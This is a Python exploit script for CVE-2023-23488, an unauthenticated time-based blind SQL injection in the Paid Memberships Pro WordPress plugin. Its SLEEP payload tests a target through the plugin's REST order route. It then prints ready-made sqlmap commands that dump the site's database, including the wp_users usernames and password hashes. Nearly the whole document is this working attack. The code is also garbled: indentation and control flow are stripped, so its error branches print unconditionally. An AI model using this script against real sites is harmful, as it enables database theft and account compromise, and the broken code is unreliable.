#!/usr/bin/env python  
# Exploit Title: Paid Memberships Pro v2.9.8 (WordPress Plugin) - Unauthenticated SQL Injection  
# Exploit Author: r3nt0n  
# CVE: CVE-2023-23488  
# Date: 2023/01/24  
# Vulnerability discovered by Joshua Martinelle  
# Vendor Homepage:  
# Software Link:  
# Advisory:  
# Version: < 2.9.8  
# Tested on: Debian 11 - WordPress 6.1.1 - Paid Memberships Pro 2.9.7  
# Running this script against a WordPress instance with Paid Membership Pro plugin  
# tells you if the target is vulnerable.  
# As the SQL injection technique required to exploit it is Time-based blind, instead of  
# trying to directly exploit the vuln, it will generate the appropriate sqlmap command  
# to dump the whole database (probably very time-consuming) or specific chose data like  
# usernames and passwords.  
# Usage example: python3  
import sys  
import requests  
def get_request(target_url, delay="1"):  
payload = "a' OR (SELECT 1 FROM (SELECT(SLEEP(" + delay + ")))a)-- -"  
data = {'rest_route': '/pmpro/v1/order',  
'code': payload}  
return requests.get(target_url, params=data).elapsed.total_seconds()  
print('Paid Memberships Pro < 2.9.8 (WordPress Plugin) - Unauthenticated SQL Injection\n')  
if len(sys.argv) != 2:  
print('Usage: {} <target_url>'.format("python3"))  
print('Example: {}'.format("python3"))  
target_url = sys.argv[1]  
print('[-] Testing if the target is vulnerable...')  
req = requests.get(target_url, timeout=15)  
print('{}[!] ERROR: Target is unreachable{}'.format(u'\033[91m',u'\033[0m'))  
if get_request(target_url, "1") >= get_request(target_url, "2"):  
print('{}[!] The target does not seem vulnerable{}'.format(u'\033[91m',u'\033[0m'))  
print('\n{}[*] The target is vulnerable{}'.format(u'\033[92m', u'\033[0m'))  
print('\n[+] You can dump the whole WordPress database with:')  
print('sqlmap -u "{}/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump'.format(target_url))  
print('\n[+] To dump data from specific tables:')  
print('sqlmap -u "{}/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump -T wp_users'.format(target_url))  
print('\n[+] To dump only WordPress usernames and passwords columns (you should check if users table have the default name):')  
print('sqlmap -u "{}/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump -T wp_users -C user_login,user_pass'.format(target_url))